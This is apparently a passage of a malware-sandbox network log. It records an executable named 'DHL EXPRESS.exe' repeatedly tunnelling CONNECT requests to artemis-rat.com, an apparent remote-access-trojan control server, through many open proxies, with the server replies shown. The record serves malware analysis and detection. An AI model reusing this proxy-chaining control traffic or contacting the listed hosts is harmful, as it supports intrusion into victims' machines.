Mar 11, 2024 18:36:47.241998911 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.8	51313	119.91.214.119	3389	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.028156042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.8	51344	185.212.60.62	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.029036999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.378994942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.8	51441	104.16.105.146	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.030437946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.184767008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.8	51339	91.148.127.162	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.031080008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.8	50905	54.36.122.16	29796	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.031747103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.097173929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.123598099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.197617054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.206840038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.206361055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.206301928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:59.206372976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:47.208477974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.8	51451	104.16.105.207	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.062733889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.217108011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.8	51447	104.18.237.128	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.062916994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.217148066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.8	51348	58.234.116.197	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.073919058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.8	51346	5.252.23.220	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.074266911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.8	51347	43.131.245.216	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.075042963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.8	51301	5.44.42.115	58386	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.075068951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.8	51477	172.67.182.165	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.075946093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.229957104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.8	51350	31.43.158.108	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.076122999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.8	51360	121.128.194.154	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.077344894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.378138065 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.8	51385	190.109.168.217	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.082226992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.159521103 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.8	51366	51.158.108.134	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.082449913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.8	51311	202.166.219.80	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.082765102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.8	50953	103.197.71.7	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.083400965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.097259998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.8	51505	185.162.231.226	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.087198019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.242059946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.8	51504	185.162.230.178	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.087217093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.242033958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.8	51359	27.0.234.206	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.087217093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.8	50862	5.189.158.162	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.088638067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.548764944 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:48.310635090 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.8	51602	43.134.238.25	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.093131065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.8	51514	104.16.109.213	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.093972921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.248353958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.8	51604	43.134.238.25	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
